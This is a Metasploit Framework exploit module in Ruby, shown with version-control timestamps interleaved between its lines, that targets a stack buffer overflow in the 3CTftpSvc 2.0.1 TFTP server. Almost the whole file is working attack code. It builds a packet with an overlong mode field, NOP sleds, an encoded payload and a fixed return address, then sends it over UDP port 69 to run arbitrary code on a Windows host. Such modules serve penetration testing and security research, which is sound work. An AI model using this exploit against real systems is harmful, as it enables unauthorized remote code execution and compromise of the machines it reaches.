2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-11-28 14:41:35 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2006-11-28 14:41:35 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Udp
|
2006-11-28 14:41:35 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => '3CTftpSvc TFTP Long Mode Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in 3CTftpSvc 2.0.1. By
|
2006-11-28 14:41:35 +00:00
|
|
|
sending a specially crafted packet with an overly long mode
|
|
|
|
field, a remote attacker could overflow a buffer and execute
|
|
|
|
arbitrary code on the system.
|
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-05-12 19:03:25 +00:00
|
|
|
['CVE', '2006-6183'],
|
|
|
|
['OSVDB', '30758'],
|
2006-11-29 13:46:14 +00:00
|
|
|
['BID', '21301'],
|
2006-11-28 14:41:35 +00:00
|
|
|
['URL', 'http://secunia.com/advisories/23113/'],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 400,
|
2007-01-25 23:08:32 +00:00
|
|
|
'BadChars' => "\x00",
|
2006-11-28 14:41:35 +00:00
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2007-01-25 23:08:32 +00:00
|
|
|
[ '3CTftpSvc 2.0.1', { 'Ret' => 0x00402b02 } ],
|
2006-11-28 14:41:35 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
2007-01-25 23:08:32 +00:00
|
|
|
'DefaultTarget' => 0,
|
2006-11-29 13:46:14 +00:00
|
|
|
'DisclosureDate' => 'Nov 27 2006'))
|
2006-11-28 14:41:35 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options([Opt::RPORT(69)], self.class)
|
2006-11-28 14:41:35 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect_udp
|
|
|
|
|
2007-01-25 23:08:32 +00:00
|
|
|
sploit = "\x00\x02" + rand_text_alpha_upper(1) + "\x00" + make_nops(73)
|
2010-04-30 08:40:19 +00:00
|
|
|
sploit << payload.encoded + [target.ret].pack('V') + make_nops(25) + "\x00"
|
2006-11-28 14:41:35 +00:00
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-28 14:41:35 +00:00
|
|
|
udp_sock.put(sploit)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
disconnect_udp
|
2006-11-28 14:41:35 +00:00
|
|
|
end
|
|
|
|
|
2009-05-12 19:03:25 +00:00
|
|
|
end
|